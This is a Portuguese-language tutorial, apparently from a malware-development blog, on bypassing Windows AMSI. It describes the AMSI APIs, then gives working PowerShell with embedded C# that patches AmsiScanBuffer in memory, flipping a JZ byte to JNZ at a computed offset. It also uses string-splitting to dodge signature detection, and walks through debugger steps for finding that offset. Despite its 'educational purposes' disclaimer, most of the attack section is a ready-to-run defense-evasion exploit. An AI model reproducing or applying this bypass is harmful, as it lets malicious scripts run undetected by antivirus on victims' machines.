> For the complete documentation index, see [llms.txt](https://vith0r.gitbook.io/public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vith0r.gitbook.io/public/malware-dev/posts/memory-patch/patch-amsi.md).

# Patch AMSI

Bom, neste post estarei mostrando como realizar uma técnica para fazer um patch na `amsi.dll` do Windows10.

***

### O que é a AMSI.DLL

`Antimalware Scan Interface` é uma biblioteca do Windows que fornece uma interface padrão para permitir que aplicativos e serviços solicitem verificações antimalware em conteúdo carregado. Um exemplo comum de uso da `amsi.dll` é na utilização do PowerShell para executar scripts. Quando um script é executado, a AMSI pode escanear o conteúdo do script para detectar e bloquear comandos potencialmente perigosos antes que eles sejam executados. Abaixo, uma imagem para melhor entendimento:

![](https://telegra.ph/file/fd0546b0f37e24f04c80d.png)

{% hint style="danger" %}
As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.
{% endhint %}

***

Para que uma aplicação envie amostras ao AMSI, ela precisa carregar **amsi.dll** em seu espaço de endereços e chamar um conjunto de APIs do AMSI exportadas por essa DLL.

Se usarmos o [ApiMonitor](http://www.rohitab.com/apimonitor) para fazer Hook no PowerShell e observar quais APIs ele chama.

Veremos que as principais são:

| [**AmsiCloseSession**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiclosesession)       | Encerra a sessão que foi aberta por [AmsiOpenSession](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession)。                               |
| ---------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [**AmsiInitialize**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiinitialize)           | Inicializa a API do AMSI.                                                                                                                                               |
| [**AmsiNotifyOperation**](https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsinotifyoperation)   | Envia ao provedor antimalware uma notificação sobre alguma operação arbitrária.                                                                                         |
| [**AmsiOpenSession**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession)         | Abre uma sessão na qual vários pedidos de verificação podem ser associados.                                                                                             |
| [**AmsiResultIsMalware**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiresultismalware) | Determina se o resultado de uma verificação indica que o conteúdo deve ser bloqueado.                                                                                   |
| [**AmsiScanBuffer**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanbuffer)           | Analisa um buffer de memória cheio de conteúdo, procurando por malware.                                                                                                 |
| [**AmsiScanString**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanstring)           | Analisa uma string à procura de malware.                                                                                                                                |
| [**AmsiUninitialize**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiuninitialize)       | Remove a instância da API [AMSI](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiinitialize) que foi aberta originalmente por **AmsiInitialize**. |

Esta é a arquitetura do AMSI fornecida pela Microsoft.

<figure><img src="/files/Q8pvhpYLRvZO09TPMUpa" alt="https://learn.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg"><figcaption></figcaption></figure>

A interface AMSI do Windows é aberta.\
Isso significa que qualquer aplicativo pode chamá-la, qualquer mecanismo antivírus registrado pode processar o conteúdo enviado a ela.

{% hint style="info" %}
O antivírus escaneia todos os assemblies.\
Nas versões anteriores do .NET Framework, o runtime usava o Windows Defender ou antivírus de terceiros para escanear todos os assemblies carregados a partir do disco.\
Porém, assemblies carregados a partir de outras fontes (por exemplo, usando o método [Assembly.Load()](https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load#system-reflection-assembly-load\(system-byte\(\)\))), que podem conter malware não detectado, não eram escaneados.

A partir do .NET 4.8, o AMSI se tornou parte do framework, por isso, quando um assembly é carregado, a AMSI.DLL também é carregada.
{% endhint %}

O AMSI é chamado direta ou indiretamente no sistema Windows, distribuído principalmente nos seguintes programas:

**1. Controle de Conta de Usuário (UAC)** — `%windir%\System32\consent.exe`\
**2. PowerShell (scripts, uso interativo e execução dinâmica)** — `System.Management.Automation.dll`\
**3. Windows Script Host** — `wscript.exe` ou `cscript.exe`\
**4. JavaScript / VBScript** — `%windir%\System32\jscript.dll` , `%windir%\System32\vbscript.dll`\
**5. Office VBA Macros** — `VBE7.dll`\
**6. .NET Assembly** — `clr.dll`    \
**7. WMI** — `%windir%\System32\wbem\fastprox.dll` &#x20;

***

Ou seja se abrirmos um PowerShell localmente e observarmos os módulos carregados, veremos que ele carrega automaticamente o `amsi.dll`.

<figure><img src="/files/DXF5b6H14yiX7X3v1bF9" alt=""><figcaption></figcaption></figure>

Para contornarmos isso, podemos fazer com que o AMSI execute muitas verificações de validação antes de atingir o código crítico de "verificação" do AMSI. Podemos debugar a AMSI.dll no ida64.exe. Temos apenas que encontrar o ponto crítico. Abaixo, uma imagem para melhor entendimento:

![](https://telegra.ph/file/fc8340db699810552c51b.png)

![](https://telegra.ph/file/0366a7876f00425d4d148.png)

Para isso podemos simplesmente alternar um dos `JZ`/`JE` para `JNZ`/`JNE`. Para entender melhor: `0x74` = `JZ`/`JE` e `0x75` = `JNZ`/`JNE`. O código para realizar o patch está abaixo:

{% code title="Patch AMSI (PowerShell + C#)" %}

```csharp
$data = @"
using System;
using System.Runtime.InteropServices;
using System.Threading;

public class Program
{
	[DllImport("kernel32")]
	public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
	[DllImport("kernel32")]
	public static extern IntPtr LoadLibrary(string name);
	[DllImport("kernel32")]
	public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, out uint lpflOldProtect);
	public static void Run()
	{
		IntPtr lib = LoadLibrary("a"+"m"+"si."+"dll");
		IntPtr amsi = GetProcAddress(lib, "Am"+"s"+"iScan"+"B"+"uffer");
		IntPtr final = IntPtr.Add(amsi, ?);
		uint old = 0;
		VirtualProtect(final, (UInt32)0x1, 0x40, out old);

		Console.WriteLine(old);
		byte[] patch = new byte[] { 0x75 };

		Marshal.Copy(patch, 0, final, 1);

		VirtualProtect(final, (UInt32)0x1, old, out old);
	}
}
"@

Add-Type $data -Language CSharp 

[Program]::Run()
```

{% endcode %}

Abaixo está uma explicação mais detalhada para entender o código:

### Obter o Endereço da Função "AmsiScanBuffer"

Começamos pegando o endereço da função `AmsiScanBuffer` carregada na DLL `amsi.dll`:

```csharp
IntPtr lib = LoadLibrary("a" + "m" + "si." + "dll");
IntPtr amsi = GetProcAddress(lib, "Am" + "s" + "iScan" + "B" + "uffer");
```

#### Calcular o Endereço Final

Somamos `?` ao endereço de `AmsiScanBuffer` para obter o endereço `final`, que contém a instrução `JZ/JE`:

```csharp
IntPtr final = IntPtr.Add(amsi, ?);
```

#### Alterar a Permissão de Memória

Alteramos a permissão de memória do endereço final para permitir escrita. Note que `0x40` é `PAGE_EXECUTE_READWRITE`. Em seguida exibimos a permissão de memória anterior:

```csharp
uint old = 0;
VirtualProtect(final, (UInt32)0x1, 0x40, out old);
Console.WriteLine(old);
```

#### Aplicar o Patch

Mudamos os primeiros bytes do endereço final para `0x75`, que altera a instrução para `JNZ`/`JNE`:

```csharp
byte[] patch = new byte[] { 0x75 };
Marshal.Copy(patch, 0, final, patch.Length);
```

{% stepper %}
{% step %}

### Primeiro passo

![](https://telegra.ph/file/91d6fdc54ae0031f315c1.png)
{% endstep %}

{% step %}

### Segundo passo

Aqui apenas definimos um BreakPoint para acharmos o endereço do `AmsiScanBuffer`. Depois pressionamos `Ctrl + B`, colamos o hex que copiamos para então encontrar o endereço do `JZ`/`JE` que precisamos copiar:

![](https://telegra.ph/file/d15b4032834ce00374c9b.png)
{% endstep %}

{% step %}

### Terçeiro passo

Aqui fazemos um cálculo simples: `Endereço do "AmsiScanBuffer"` + `Endereço do "JZ/JE"` que queremos modificar para `JNZ`/`JNE`:

![](https://telegra.ph/file/536b460067ccd8f58d941.png)
{% endstep %}

{% step %}

### Quarto passo

Agora que sabemos quanto temos que adicionar (`0x95`) ao endereço do `AmsiScanBuffer` para chegar no endereço final `JZ/JE`, apenas o adicionamos no código:

```csharp
IntPtr final = IntPtr.Add(amsi, 0x95);
```

{% endstep %}
{% endstepper %}

***

#### Entendendo o processo

Agora que terminamos de achar tudo que precisávamos, vamos executar o código no próprio PowerShell. Ao executar nosso código, ele fará o seguinte: obterá o endereço de `AmsiScanBuffer`, adicionará `0x95` ao endereço para chegar ao endereço final `JZ/JE`, alterará as permissões para `0x40` (que corresponde a `PAGE_EXECUTE_READWRITE`), mudará o byte de `0x74` para `0x75` (alterando `JZ/JE` para `JNZ/JNE`), e restaurará as permissões de memória originais para garantir que nosso patch seja realizado com sucesso.

***

### Realizando o patch:

![](https://telegra.ph/file/5100d6f4aeafe8a89a9c6.png)
